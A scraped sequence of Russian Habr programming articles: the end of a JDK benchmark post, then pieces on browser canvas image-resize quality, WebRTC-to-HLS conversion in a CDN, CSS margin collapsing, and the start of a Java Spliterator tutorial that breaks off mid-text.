g.a.r.n true 10 1 256.0 ± 0.0 192.0 ± 0.0 184.0 ± 0.0 B/op
g.a.r.n true 10 5 376.0 ± 0.0 232.0 ± 0.0 224.0 ± 0.0 B/op
g.a.r.n true 10 10 520.0 ± 0.0 280.0 ± 0.0 272.0 ± 0.0 B/op
g.a.r.n true 10 100 3224.1 ± 0.0 1184.0 ± 0.0 1168.0 ± 0.0 B/op
g.a.r.n true 100 1 1752.1 ± 5.4 1328.2 ± 5.4 1244.1 ± 9.5 B/op
g.a.r.n true 100 5 2952.2 ± 5.4 1728.2 ± 5.4 1627.3 ± 7.6 B/op
g.a.r.n true 100 10 4444.4 ± 4.0 2216.2 ± 0.0 2140.2 ± 9.5 B/op
g.a.r.n true 100 100 31445.6 ± 4.0 11216.7 ± 0.0 11135.0 ± 9.3 B/op
g.a.r.n false 1 1 144.0 ± 0.0 144.0 ± 0.0 96.0 ± 0.0 B/op
g.a.r.n false 1 5 160.0 ± 0.0 160.0 ± 0.0 104.0 ± 0.0 B/op
g.a.r.n false 1 10 184.0 ± 0.0 184.0 ± 0.0 112.0 ± 0.0 B/op
g.a.r.n false 1 100 640.0 ± 0.0 640.0 ± 0.0 288.0 ± 0.0 B/op
g.a.r.n false 5 1 184.0 ± 0.0 184.0 ± 0.0 104.0 ± 0.0 B/op
g.a.r.n false 5 5 280.0 ± 0.0 280.0 ± 0.0 144.0 ± 0.0 B/op
g.a.r.n false 5 10 400.0 ± 0.0 400.0 ± 0.0 192.0 ± 0.0 B/op
g.a.r.n false 5 100 2664.1 ± 0.0 2664.1 ± 0.0 1088.0 ± 0.0 B/op
g.a.r.n false 10 1 320.0 ± 0.0 320.0 ± 0.0 192.0 ± 0.0 B/op
g.a.r.n false 10 5 520.0 ± 0.0 520.0 ± 0.0 272.0 ± 0.0 B/op
g.a.r.n false 10 10 760.0 ± 0.0 760.0 ± 0.0 368.0 ± 0.0 B/op
g.a.r.n false 10 100 5264.2 ± 0.0 5264.2 ± 0.0 2168.1 ± 0.0 B/op
g.a.r.n false 100 1 2208.2 ± 0.0 2168.2 ± 0.0 1317.7 ± 5.7 B/op
g.a.r.n false 100 5 4196.3 ± 6.2 4168.3 ± 0.0 2123.4 ± 7.6 B/op
g.a.r.n false 100 10 6704.6 ± 0.0 6664.5 ± 0.0 3123.4 ± 7.6 B/op
g.a.r.n false 100 100 51698.1 ± 5.4 51666.3 ± 0.0 21124.3 ± 7.6 B/op
```
Таким образом, проседание осталось только в одном случае, но теперь у нас есть выигрыш по памяти во всех случаях! В комментариях к [JDK-8148937](https://bugs.openjdk.java.net/browse/JDK-8148937) отмечено, что [регрессия](http://cr.openjdk.java.net/~shade/8148937/notes.txt) (в то время) была обусловлена [JDK-8149758](https://bugs.openjdk.java.net/browse/JDK-8149758). Но теперь проседания вроде бы нет. Поэтому я решил написать ещё одно [письмо](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064866.html), чтобы обратить внимание сообщества на JDK-8148937. Согласитесь, 1,5-2 -кратные приросты по времени и памяти того стоят.
#### Выводы
* системная разработка — это сложно. Вот казалось бы, возьми существующий подход (придумывать ничего не нужно) и примени к существующему коду. Начинаешь — и тут же сталкиваешься со многими неочевидными и сложными вещами. Нужно не только писать свой код, но и изучать чужой, читать переписку, исследовать полученные ранее результаты
* при попытке залить что-то в JDK вычитка будет беспощадной. Наши предложения кажутся нам самыми верными, но часто это иллюзия. Не принимайте критику, даже и разгромную, близко к сердцу
* даже самые крутые приросты не обещают внимания разработчиков. В [одной из прошлых статей](https://habr.com/ru/post/433174) я описывал полезные и вместе с тем небольшие и на 100% надёжные изменения, которые также пока убраны под сукно просто из-за малой значимости или иной расстановки приоритетов
#### Вместо послесловия
Уже через неделю с небольшим начнётся весна, желаю с первым теплом ощутить прилив сил и смело браться за сложные задачи, уметь безболезненно признавать свои ошибки и учиться, учиться, и снова учиться :) | https://habr.com/ru/post/488874/ | null | ru | null |
# Ресайз картинок в браузере. Все может стать еще хуже
Знакомьтесь, это Маня. Маню поразил страшный недуг и теперь она нуждается в вашей помощи. Маня росла обычной девочкой, жизнерадостным счастливым ребенком. Но чуть больше года назад [врачи поставили ей страшный диагноз](https://habrahabr.ru/post/252175/) — алиазинг. И она стала выглядеть вот так.
 
Как выяснилось, виной тому стала жадность и алчность производителей браузеров, которые решили сэкономить на алгоритмах ресайза изображений и применить самые низкокачественные фильтры. Тогда Маню удалось спасти — она прошла курс последовательных не кратных двум уменьшений, что снизило алиазинг и вернуло её былую резкость. Но теперь ей снова угрожает опасность.
Что изменилось за этот год? Хорошие новости в том, что [появился стандарт](https://html.spec.whatwg.org/multipage/scripting.html#image-smoothing), призванный управлять качеством растеризации изображений на канвасе. Новости еще лучше: этот стандарт реализован в браузере: мобильном Сафари с версии 9.3 и десктопном с версии 9.1. И судя по получающимся результатам, значению `high` соответствует [метод сверток](https://habrahabr.ru/post/243285/#convolution) с бикубическим или очень похожим фильтром. Т.е. результат действительно очень хорош. Казалось бы, можно [обернуть код](https://github.com/uploadcare/uploadcare-widget/blob/0f21ae5aece475ef05edf505e54db017f89bab12/app/assets/javascripts/uploadcare/utils/image-processor.coffee#L131-L135), вымученный в предыдущей статье, в `if ('imageSmoothingQuality' in context)` и ждать появления этого же свойства в остальных браузерах. Но что-то пошло не так.
 
Что-то пошло не так и на Маню напала другая напасть — Маня стала мыльной. Оказалось, что Гугл тоже готовит для Машеньки сюрприз, реализовав нужное свойство и пока что спрятав его за флагом `chrome://flags/#enable-experimental-canvas-features`. Вот только реализовано оно не добросовестно, а чем попало. Вместо правильных, четких, православных сверток, в нем для значения `high` используется техника, применяющаяся в играх: с помощью суперсэмплинга для изображения создаются [mip-уровни](https://ru.wikipedia.org/wiki/MIP-текстурирование), а потом ближайший по размеру уровень ресайзится все тем же дешевым методом с фиксированным количеством исходных точек.
Почему этот метод работает в играх? По двум причинам. Первая: в динамичной игре у вас нет времени рассматривать каждую текстуру по-отдельности, мыльная она или не очень. Гораздо больше на восприятие влияет общая картинка и спецэффекты, чем такие мелочи. Вторая: очень жесткие временные ограничения, для которых очень кстати приходится постоянная сложность этого метода относительно размеров конечного изображения (разрешения экрана в случае игр).
Почему этот метод не годится для ресайза в приложениях для работы с графикой? Да потому что это вообще не метод ресайза, алло. Это аппликация из двух решений, ни одно из которых не способно удовлетворить требования к качеству — а уж вдвоем и подавно. Оно не обладает ни математическим обоснованием, ни стабильностью результата относительно входных параметров. Например, картинка, отресайженая до 244 пикселей в ширину может получиться ничего так, а отресайженая до 243 вся будет в мыле. Тем более это не приемлемо для специально созданного по этому случаю свойства `imageSmoothingQuality`. Уж если я ставлю `high`, то наверное я имею в виду, что мне нужно именно хорошее качество. Зачем вообще реализовывать новое свойство, если оно дает результат хуже, чем можно добиться, повозившись с существующим решением? Вот, например, справа Маня отресайженая последовательными не кратными двум уменьшениями. Абсолютно здоровый и счастливый ребенок.
 
Если вы вдруг не испытываете сочувствия и симпатии к маленьким детям, то вот вам Манечкин друг, мандрил Пупуся. Его постигла та же беда. Слева направо:
* заблюреная картинка после ресайза в Хроме с `imageSmoothingQuality = 'high'`
* качественная картинки из Сафари
* более-менее качественная картинка после ресайза в Хроме методом последовательных уменьшений без `imageSmoothingQuality`
  
Как тут можно помочь? Ну например, пойти поставить звездочку в созданном для этого [баг-репорте](https://bugs.chromium.org/p/chromium/issues/detail?id=618324). Не уверен, насколько это эффективно, но ничего другого придумать не могу.
Что же будет, если эта фича перекочует в стабильную версию Хрома? Вместо простой проверки на наличие фичи, придется либо городить проверку по юзер-агенту, либо отключать эту функциональность для всех пользователей, даже в Сафари. В голову пришла правильная идея: нужно пойти и прямо сейчас поставить дополнительную проверку на то, что в юзерагенте нет слова Хром. Если Хром исправится и в стабильной версии не будет этого позорища, можно будет включить. Зато если кто-то из клиентов скачает код сейчас, при выходе бажного Хрома Маня не пострадает.
Для получения использовались изображения [раз](https://unsplash.com/photos/8k6tLpo8n0c) и [два](http://www.johnloomis.org/ece563/notes/basics/components/mandrill/mandrill.html), [тестовый стенд](http://jsbin.com/sofigi/edit?output), а также [виджет](https://uploadcare.com/widget/configure/2.9.0/?shrink=true&shrinkX=257&shrinkY=257&shrinkQuality=100) для последовательных уменьшений. | https://habr.com/ru/post/302744/ | null | ru | null |
# Проблема первого зрителя, или непростая конвертация WebRTC видеопотоков в HLS
Егор закрыл крышку ноутбука и потер красные от недосыпа глаза. "Клиенты продолжают жаловаться на зависания стрима, новый пакет исправлений совсем не помог! Что же делать с этим (censored) HLS?" — произнес он в пустоту кабинета.
Браузер это не только гипертекст, но и стример
----------------------------------------------
Плеерами браузеры обзавелись достаточно давно, а вот с энкодером видео и стримингом история другая. Сейчас почти в любом браузере свежей версии можно найти модули энкодинга, стриминга, декодирования и воспроизведения. Эти функции доступны через JavaScript API, а реализация называется Web Real Time Communications или WebRTC. Эта встроенная в браузеры библиотека умеет достаточно много: захват видео с встроенной, виртуальной или USB камеры, компрессия кодеками H.264, VP8, VP9, отправка в сеть по SRTP протоколу, т.е. функционирует как софтверный видеокодер-стример. В итоге видим браузер, у которого под капотом работает что-то похожее на ffmpeg или gstreamer, который хорошо жмет видео, стримит по RTP и играет видеопотоки.
WebRTC дает простор для реализации разнообразных стриминговых кейсов на JavaScript:
* стримить поток из браузера на сервер для записи и последующей раздачи
* раздавать потоки peer-to-peer
* играть поток другого пользователя и отправлять свой (видеочат)
* конвертировать сервером другие протоколы, например RTMP, RTSP, и т.д., и играть в браузере как WebRTC
Рафинированные скрипты управления потоками могут выглядеть так:
```
//Запуск трансляции из браузера на сервер
session.createStream({name:”mystream”}).publish();
//Воспроизведение трансляции браузером
session.createStream({name:”mystream”}).play();
```
HLS работает там, где не работает WebRTC
----------------------------------------
WebRTC работает в последних версиях браузеров, однако имеют место два следующих фактора: 1) Не все пользователи своевременно обновляют браузеры и вполне могут сидеть на каком-нибудь Хроме трехлетней выдержки. 2) Чуть ли не раз в неделю выходят обновления и появляются новые браузеры, WebView, а также другие клиенты и мессенджеры, умеющие серфить интернет. Стоит ли говорить, что далеко не во всех из них присутствует поддержка WebRTC, а если и присутствует, то может быть довольно урезанной. Смотрите как дела обстоят сейчас:
Отдельная головная боль — всеми любимые яблочные устройства. Они относительно недавно получили поддержку WebRTC и, порой удивляют особенностями поведения по сравнению с православными webkit-браузерами. И там где не работает или не очень хорошо работает WebRTC, отлично работает HLS. В связи с этим, требуется совместимость, и что-то вроде конвертера, который позволит преобразовать WebRTC в HLS и проиграть его практически на любом устройстве.
Изначально HLS не был задуман для потоков реального времени. Действительно, какой может быть видеореалтайм по HTTP? Задача HLS — нарезать видео на кусочки и ровно, не торопясь, доставить их до плеера, путем скачивания одного за другим. HLS плеер ожидает строго сформированного и ровного видеопотока. И здесь возникает конфликт, так как WebRTC напротив, может позволить себе терять пакеты из-за требований реалтайма и низкой задержки и иметь плавающий FPS / GOP и непостоянный битрейт — быть полной противоположностью HLS в плане предсказуемости и размеренности потока.
Очевидный подход — депакетизация WebRTC (SRTP) и последующая [конвертация](https://flashphoner.com/vosproizvedenie-webrtc-i-rtmp-videopotokov-po-hls/?lang=ru) в HLS, может не работать в нативном HLS плеере Apple или работать в непригодном для продакшена виде с фризами. Под нативным плеером здесь понимается плеер, который используется в яблочных iOS Safari, Mac OS Safari, Apple TV.
Поэтому, если вы заметили фриз HLS в нативном плеере, возможно это оно, и источником стрима является WebRTC или другой динамический стрим с неровной разметкой. Кроме этого, в реализации нативных Apple плееров встречается поведение, которое можно понять только опытным путем. Например, сервер должен начать отправку HLS сегментов немедленно, сразу после отдачи m3u8 плейлиста. Промедление в секунду грозит фризом. Если в процессе поменялся конфиг битстрима (что довольно частое явление при WebRTC стриминге), также будет фриз.
Борьба с фризами в нативных плеерах
-----------------------------------
Таким образом, прямая и честная депакетизация WebRTC и пакетизация в HLS в общем случае не работает. В сервере потокового видео [Web Call Server (WCS)](https://flashphoner.com/) мы решаем проблему двумя способами, а третий предлагаем в качестве альтернативы:
1) Транскодирование.
Это наиболее надежный способ, позволяющий выровнять WebRTC поток под требования HLS, выставить нужный GOP, FPS, и т.д. Однако в некоторых случаях транскодирование не является хорошим решением, например транскодирование 4к потоков VR видео — так себе идея. Такие тяжелые потоки транскодировать очень дорого в плане процессорного времени или ресурсов GPU.
2) Адаптации и выравнивание WebRTC потока на лету под требования HLS.
Это специальные парсеры, которые анализируют H.264 битстрим и корректирует его под особенности / баги нативных HLS плееров Apple. Здесь надо признать, что ненативные плееры вроде video.js и hls.js более толерантны к потокам с динамическим битрейтом и FPS коим является WebRTC и не тормозят там, где эталонная по сути реализация Apple HLS встает в вечный фриз.
3) Использовать в качестве источника потока RTMP вместо WebRTC.
Несмотря на то, что флэш отошел от дел, RTMP протокол активно используется для стриминга, взять тот же OBS Studio. И надо признать, что RTMP энкодеры производят в целом более ровные потоки чем WebRTC и поэтому практически не дают фризов в HLS, т.е. Конвертация RTMP > HLS с точки зрения фризов выглядит гораздо более годной в том числе и в нативных HLS плеерах. Поэтому если стриминг осуществляется с десктопа и OBS, то для конвертации в HLS лучше использовать его. Если же источником является Chrome браузер, то RTMP уже воспользоваться не получится без установки плагинов, и здесь только WebRTC.
Все три описанных выше способа проверены и работают, поэтому есть возможность выбирать, исходя из условий поставленной задачи.
WebRTC в HLS на CDN
-------------------
Отдельные неприятности могут поджидать в распределенной системе, когда между источником WebRTC потока и HLS плеером находится несколько серверов доставки WebRTC стримов, а именно [CDN](https://flashphoner.com/cdn-dlya-striminga-webrtc-s-nizkoj-zaderzhkoj/?lang=ru), в нашем случае на базе WCS сервера. Выглядит это так: есть Origin — сервер, который принимает WebRTC поток, есть Edge — серверы, которые раздают этот поток в том числе и по HLS. Серверов может быть много, что обеспечивает возможность горизонтального масштабирования системы. Например, к одному Origin — серверу можно подключить 1000 HLS серверов, в этом случае емкость системы масштабируется в 1000 раз.
Проблема уже была обозначена немного выше, и возникает эта проблема как правило в нативных плеерах: iOS Safari, Mac OS Safari, Apple TV. Под нативным имеется в виду плеер, который работает с прямым указанием урла плей листа в теге, например . Как только плеер запросил плей-лист, а это действие является фактически первым шагом воспроизведения HLS потока, сервер обязан сразу, без какой-либо задержки, начать отдавать сегменты HLS видео. Если сервер не начинает отдавать сегменты немедленно, плеер решает что его обманули и останавливает воспроизведение. Опять же, такое поведение характерно именно для нативных HLS плееров Apple, но мы не можем сказать пользователям — “не используйте пожалуйста iPhone Mac и Apple TV для воспроизведения HLS потоков”, пользователи не поймут.
Итак, при попытке проиграть HLS стрим на Edge сервере, сервер должен немедленно начать отдачу сегментов, но как он это сделает если по факту стрима у него нет? Действительно, при попытке воспроизведения стрим на этом сервере отсутствует. Логика CDN работает по принципу Lazy Loading — мы не погоним стрим на сервер до тех пор, пока кто-то этот стрим на этом сервере не запросит. Возникает проблема первого подключившегося — первый, кто запросил HLS поток с Edge — сервера и имел неосторожность сделать это с нативного плеера Apple, получит фриз по той причине, что должно пройти какое-то время для того чтобы заказать этот стрим с Origin сервера, получить его на Edge и приступить к HLS нарезке. Даже если это займет три секунды, плеер это не спасет. Он уйдет в фриз.
Здесь снова вырисовываются два решения: одно нормальное, другое — не очень. Можно было бы отказаться от подхода Lazy Loading в CDN и рассылать трафик всем узлам вне зависимости от того, есть там зрители или нет. Решение, возможно пригодное для тех, кто не ограничен в трафике и вычислительных ресурсах. Origin будет гнать трафик на все Edge серверы, в результате все серверы и сеть между ними будут постоянно загружены. Пожалуй эта схема подошла бы только для каких-то специфических решений с малым количеством входящих потоков. При тиражировании большого количества потоков такая схема будет явно неэффективна по ресурсам. И если вспомнить, что мы решаем всего лишь “проблему первого подключившегося из нативного браузера”, то понятно, что оно того не стоит.
Второй вариант более элегантный, но тоже обходной. Мы отдаем первому подключившемуся пользователю видео картинку, но это пока еще не тот стрим, который он желает увидеть — это прелоадер. Так как мы что-то должны отдать уже сейчас и сделать это немедленно, а исходного стрима у нас нет (он еще заказывается и доставляется с Origin-а), мы принимаем решение попросить клиента немного подождать и показать ему видео прелоадера с двигающейся анимацией. Пользователь ждет несколько секунд, прелоадер крутится, и когда доходит реальный стрим, пользователю начинается показ реального стрима. В результате первый пользователь увидел прелоадер, а последующие подключившиеся наконец-то увидели нормальный HLS стрим, пришедший из CDN, работающей по принципу Lazy Loading. Инженерная проблема решена.
Но не до конца
--------------
Казалось бы, все работает здорово. CDN функционирует, HLS потоки забираются с краевых серверов Edge и решена проблема первого подключившегося. И здесь появляется еще один подводный камень — мы отдаем прелоадер в фиксированном соотношении сторон 16:9, а в CDN могут входить потоки любых форматов: 16:9, 4:3, 2:1 (VR видео). И это является проблемой, потому что если отдать плееру прелоадер в формате 16:9, а заказанный стрим окажется в формате 4:3, то нативный плеер снова ждет фриз.
Поэтому встает новая задача — требуется знать с каким именно соотношением сторон поток входит в CDN и отдавать прелоадер в том же соотношении. Особенностью WebRTC потоков является сохранение соотношения сторон при изменении разрешения и при транскодировании — если браузер решает понизить разрешение, он понижает его в том же соотношении. Если сервер решает транскодировать поток, он сохраняет соотношение сторон в той же пропорции. Поэтому логично, что если мы хотим показать прелоадер для HLS, мы показываем его в том же соотношении сторон, в котором заходит стрим.
CDN работает следующим образом: когда на Origin-сервер заходит трафик, он сообщает остальным серверам в сети, в том числе Edge-серверам о новом потоке. Проблема в том, что в этот момент разрешение исходного потока может быть еще не известно. Разрешение несут конфиги H.264 битстрима вместе с ключевым фреймом. Поэтому может случиться так, что Edge сервер получит информацию что стрим есть, но не будет знать о его разрешении и соотношении сторон, что не позволит ему корректно сгенерировать прелоадер. В связи с этим необходимо сигнализировать о наличии стрима в CDN только при наличии ключевого фрейма — это гарантированно даст Edge-серверу информацию о размерах и позволит сгенерировать корректный прелоадер чтобы предотвратить “проблему первого подключившегося зрителя”.
Итоги
-----
Конвертация WebRTC в HLS в общем случае дает фризы при воспроизведении в нативных плеерах Apple. Проблема решаема анализом и корректировкой битстрима H.264 под требования HLS от Apple либо транскодирования, либо с помощью миграции на RTMP протокол и энкодер в качестве источника потока. В распределенной сети с ленивой загрузкой потоков существует проблема первого подключившегося зрителя, которая решается с помощью прелоадера и определения разрешения на стороне Origin сервера — точки входа потока в CDN.
Ссылки
------
[Web Call Server](https://flashphoner.com/) — WebRTC сервер
[CDN для стриминга WebRTC с низкой задержкой](https://flashphoner.com/cdn-dlya-striminga-webrtc-s-nizkoj-zaderzhkoj/?lang=ru) — CDN на базе WCS
[Воспроизведение WebRTC и RTMP видеопотоков по HLS](https://flashphoner.com/vosproizvedenie-webrtc-i-rtmp-videopotokov-po-hls/?lang=ru) — Функции сервера по конвертации потоков из различных источников в HLS | https://habr.com/ru/post/480432/ | null | ru | null |
# Победа над неочевидным. Схлопывание внешних отступов
Много начинающих верстальщиков и веб-разработчиков сталкиваются с ситуацией, когда элементы на странице ведут себя не так, как ожидается, и данное поведение кажется абсурдным. Но не стоит забывать, что существующие доминирующие технологии созданные людьми думающими, а если эта технология ещё и проверенная временем, значит, в таком странном, на первый взгляд, поведении, была и остается необходимость.
Наверное, каждый сталкивался со свойством *border-collapse* для таблиц. Известно, что данное свойство со значением *border-collapse:collapse* удаляет одну из границ для соседних ячеек таблицы, предотвращая дублирование их границ. Схоже работает и особенность блочной модели, называемая *схлопыванием внешних отступов* (англ. — [Collapsing Margin](http://www.w3.org/TR/CSS21/box.html#collapsing-margins)). Схлопывание внешних отступов — особенность блочной модели CSS, которая заключается в наложении вертикальных внешних отступов двух или более блочных элементов (которые могут быть или не быть соседями) для формирования одиночного внешнего отступа. Отступ, сформировавшийся в результате данного объединения, называется схлопнувшимся отступом. Заметьте, что данная особенность применима только к вертикальным отступам элемента, т.е. к *margin-top* и *margin-bottom*.
Для упрощения, представляйте схлопывание следующим образом: когда внешние вертикальные отступы блочных элементов соприкасаются, то остается отступ, значение которого равняется значению большего из них, при этом значение отступа элемента с меньшей границей равно нулю. На рисунке ниже размер одной клетки фонового рисунка равен 20 пикселей; как видим, отступ между элементами равен 40 пикселей, хотя на первый взгляд, глядя на код, человеку, не знакомому с принципами схлопывания, может показаться, что блоки размещены неправильно, так как их отступы не плюсуются:
```
#block1 {
margin:40px; /*Задаем для первого блока отступы со всех сторон 40 пикселей */
}
#block2 {
margin:40px; /*Задаем для второго блока отступы аналогично первому */
margin-top:20px; /* Переопределяем верхний отступ */
}
```
[\*Исходный код примера](http://jsfiddle.net/399s50p8/)
В случае, если одна с величин имеет минусовое значение, то финальное значение схлопнувшегося отступа формируется путем суммирования исходных значений блочных элементов. В случае, если обе величины отрицательные, то используется большее отрицательное значение (меньшее с арифметической точки зрения). Например, если бы block1 имел значение *margin-bottom:-60px*, а блок block2 *margin-top:50px*, то финальное значение отступа между элементами было бы минус 10 пикселей.
Как и в любой другой концепции, здесь тоже бывают исключения, поэтому схлопывание не работает в следующих случаях:
* с «плавающими» блоками, которые используют свойство *float*;
* с корневыми элементами(*html*, *body*);
* с абсолютно позиционируемыми элементами, имеющих свойство и значение *position:absolute*;
* в строчных элементах.
Существуют также специфические исключения, применяемые в зависимости от того, в каком иерархическом взаимодействии находятся блоки (об этом ниже):
* Если элементы имеют значение свойства *overflow*, отличимое от *visible*, то в таких элементах не схлопываются отступы с отступами их наследников.
* Элементы со свойством *cleared* не схлопываются верхними отступами с нижними отступами их родителей.
Теория может быть сложна для понимания, поэтому перейдем к примерам. Рассмотрим классические случаи, существующие в наследовании: когда блоки имеют связь потомок-потомок (*sibling-sibling*), элементы соседствуют друг с другом и имеют общего родителя; а также когда блоки имеют связь родитель-потомок (*parent-child*) — один элемент вложенный в другой. В обоих случаях схлопывание успешно применяется, но имеет несколько нюансов, о которых стоит поговорить.
### Соседние элементы и схлопывание
Обычно, исключая применения дополнительных свойств, внешние отступы любых соседних не корневых блочных элементов схлопываются, пример схлопывания соседних элементов приведен выше.
Иногда требуется избежать данного эффекта. Кроме применения свойств, перекрывающих схлопывание, можно использовать некоторые хитрости, например, не задавать элементам значения отступа, кроме единого отступа — сверху или снизу, но если таким образом задать значения ряду элементов, может возникнуть потребность в уточнении отступов для первого или последнего элемента относительно родительского, или же менять его поле:
```
#parent {
margin: 40px;
border:1px dashed white;
background:rgba(150, 0, 255, 0.2);
width:204px;
} /* Для визуальной симметрии потребовалось бы добавить padding-bottom:20px; */
.block {
height:16px;
margin-top: 20px;
border:2px solid white;
background:rgba(150, 0, 255, 0.7);
}
```
\*[Исходный код примера](http://jsfiddle.net/wsh8c022/)
Как видим, здесь нужно добавлять родительскому элементу нижнее внутреннее поле для того, что бы выровнять все элементы. Стоит ли ломать ноги, что бы подставлять костыли — дело вкуса, но я бы не советовал.
### Схлопывание отступов элементов, связанных родительской связью
В данном случае схлопывание работает немного запутаннее и сложнее, чем в примерах выше. Для начала нужно знать, что отсупы блоков схлопываются соответствующими полями. Это значит, что верхнее поле родителя схлопнется с верхним полем своего потомка. Для рассмотрения данной ситуации представим, что имеется три блока: внешний блок-родитель, блок-родитель и дочерний блок. Для того, чтобы сработало схлопывание, нужно что бы блок-родитель не имел ни полей, ни границ (их значения были нулевые). Таким образом, внешние поля этих элементов соприкасаются. Заметьте, что нулевые значения внутренних полей и границ для родителей — обязательное условие срабатывания схлопывания.
```
.outside_parent {
margin-top:40px;
margin-left: 40px;
border:2px dotted black;
background:rgba(150, 0, 255, 0.7);
}
.parent {
padding:0px; /* Обратите внимание что внутренние отступы равны 0 */
border:0px solid grey; /* Полей у родителя так же не должно быть */
margin-top: 40px; /* Этот отступ схлопнулся с дочерним */
background:rgba(150, 0, 255, 0.7);
}
.daughter {
width: 196px;
margin-top:60px; /* Актуальное значения отступа */
border:2px solid white;
}
```
[\*Исходный код примера](http://jsfiddle.net/b33eu0wd/)
Напомню, что размер одной клетки равно 20 пикселей, поэтому без схлопывания отступ между элементами был бы 60+40 пикселей, но из-за применения данного эффект он равен максимальному значению одного из элементов, в данному случае — 60 пикселям(3 клетки). Видим, что отступ дочернего блока заменяет верхний отступ для своего родителя. Если для родительского элемента задать что-либо: поле (*padding*) или же границу (*border*), то схлопывание не применится и расстояние между первым блоком и вторым будет очевидные 100 пикселей. Таким способом, можно управлять наличием данного эффекта, добавляя маленькое поле, либо же бесцветную границу, допустим, толщиной 1 пиксель, тем самым отключая эффект схлопывания.
На первый взгляд может показаться, что эфект работает только при формировании структуры как в примере выше, но это не так: схлопывание сработает и между соседними элементами, когда у них вложенные другие блоки. Рассмотрим ситуацию, когда имеется внешний блок и два блока, один с которых вложенный в другой.
```
.outside {
height:16px;
margin: 20px 0 0 40px;
border:2px solid white;
background:rgba(150, 0, 255, 0.7);
margin-bottom:20px; /* Этот отступ так же схлопнулся */
}
.parent {
margin-top:40px; /* Этот отступ схлопнулся с дочерним */
margin-left:40px;
} /* Родительский блок не должен иметь ни полей ни границ для срабатывания эффекта */
.daughter {
margin-top:60px; /* Актуальный схлопнувшийся отсуп */
border:2px solid white;
}
```
[\*Исходный код примера](http://jsfiddle.net/Lj7dm58r/3/)
Примечательно, что схлопывание в примере выше сработало два раза: сначала схлопнулись отступы родительского и дочернего элемента, потом сформировавшийся отступ схлопнулся с нижним отступом внешнего элемента.
### Вывод
Для хорошего специалиста важно контролировать все надлежащие ему инструменты и атрибуты: хорошего механика волнует не только количество клапанов в двигателе, но и наличие хорошей системы впрыска топлива и качество самого топлива. Так и хороший веб-разработчик должен контролировать каждый пиксель и не терять важные детали в структуре сайта.
Дьявол в мелочах, дьявол в пикселях. | https://habr.com/ru/post/257327/ | null | ru | null |
# Пишем свой Spliterator
Многие из вас уже попробовали на вкус Stream API — потоки Java 8. Наверняка у некоторых возникло желание не только пользоваться готовыми потоками от коллекций, массивов, случайных чисел, но и создать какой-то принципиально новый поток. Для этого вам потребуется написать свой сплитератор. [Spliterator](https://docs.oracle.com/javase/8/docs/api/java/util/Spliterator.html) — это начинка потока, публичная часть его внутренней логики. В этой статье я расскажу, как и зачем я писал сплитератор.
### Что же такое сплитератор
Сплитератор — это интерфейс, который содержит 8 методов, причём четыре из них уже имеют реализацию по умолчанию. Оставшиеся методы — это `tryAdvance`, `trySplit`, `estimateSize` и `characteristics`. Существуют также специальные модификации сплитератора для примитивных типов `int`, `long` и `double`: они добавляют несколько дополнительных методов, чтобы избежать боксинга. Сплитератор похож на обычный итератор. Основное отличие — умение разделиться (split) на две части — лежит в основе параллельной работы потоков. Также в целях оптимизации сплитератор имеет ряд флагов-характеристик и может сообщить точно или приблизительно свой размер. Наконец, сплитератор никогда не модифицирует источник данных: у него нет метода `remove` как у итератора. Рассмотрим методы подробнее:
* **tryAdvance(Consumer)** — объединение методов итератора `hasNext()` и `next()`. Если у сплитератора есть следующий элемент, он должен вызвать переданную функцию с этим элементом и вернуть `true`, иначе функцию не вызывать и вернуть `false`.
* **trySplit()** — попытаться поделиться надвое. Метод возвращает новый сплитератор, который будет пробегать по первой половине исходного набора данных, при этом сам текущий сплитератор перепрыгивает на вторую половину. Лучше всего, когда половины примерно равны, но это не обязательно. Особенно неравномерно делятся сплитераторы с бесконечным набором данных: после деления один из сплитераторов обрабатывает конечный объём, а второй остаётся бесконечным. Метод `trySplit()` имеет законное право не делиться и вернуть `null` (не случайно там try). Обычно это делается, когда в текущем сплитераторе осталось мало данных (скажем, только один элемент).
* **characteristics()** — возвращает битовую маску характеристик сплитератора. Их на данный момент восемь:
1. ORDERED — если порядок данных имеет значение. К примеру, сплитератор от `HashSet` не имеет этой характеристики, потому что порядок данных в `HashSet` зависит от реализации. Отсутствие этой характеристики автоматически переведёт параллельный поток в неупорядоченный режим, благодаря чему он сможет работать быстрее. Раз в источнике данных порядка не было, то и дальше можно за ним не следить.
2. DISTINCT — если элементы заведомо уникальны. Любой `Set` или поток после операции `distinct()` создаёт сплитератор с такой характеристикой. Например, операция `distinct()` на потоке из `Set` выполняться не будет вообще и, стало быть, времени лишнего не займёт.
3. SORTED — если элементы сортированы. В таком случае обязательно вернуть и ORDERED и переопределить метод `getComparator()`, вернув компаратор сортировки или null для «[естественного порядка](https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html)». Сортированные коллекции (например, `TreeSet`) создают сплитератор с такой характеристикой, и с ней потоковая операция `sorted()` может быть пропущена.
4. SIZED — если известно точное количество элементов сплитератора. Такую характеристику возвращают сплитераторы всех коллекций. После некоторых потоковых операций (например, `map()` или `sorted()`) она сохраняется, а после других (скажем, `filter()` или `distinct()`) — теряется. Она полезна для сортировки или, скажем, операции `toArray()`: можно заранее выделить массив нужного размера, а не гадать, сколько элементов понадобится.
5. SUBSIZED — если известно, что все дочерние сплитераторы также будут знать свой размер. Эту характеристику возвращает сплитератор от `ArrayList`, потому что при делении он просто разбивает диапазон значений на два диапазона известной длины. А вот `HashSet` её не вернёт, потому что он разбивает хэш-таблицу, для которой не известно, сколько содержится элементов в каждой половине. Соответственно дочерние сплитераторы уже не будут возвращать и SIZED.
6. NONNULL — если известно, что среди элементов нет `null`. Эту характеристику возвращает, например, сплитератор, созданный `ConcurrentSkipListSet`: в эту структуру данных `null` поместить нельзя. Также её возвращают все сплитераторы, созданные на примитивных типах.
7. IMMUTABLE — если известно, что источник данных в процессе обхода заведомо не может измениться. Сплитераторы от обычных коллекций такую характеристику не возвращают, но её выдаёт, например, сплитератор от `Collections.singletonList()`, потому что этот список изменить нельзя.
8. CONCURRENT — если известно, что сплитератор остаётся рабочим после любых изменений источника. Такую характеристику сообщают сплитераторы коллекций из `java.util.concurrent`. Если сплитератор не имеет характеристик IMMUTABLE и CONCURRENT, то хорошо бы заставить его работать в fail-fast режиме, чтобы он кидал `ConcurrentModificationException`, если заметит, что источник изменился.Насколько мне известно, последние три характеристики сейчас потоками никак не используются (в том числе в коде Java 9).
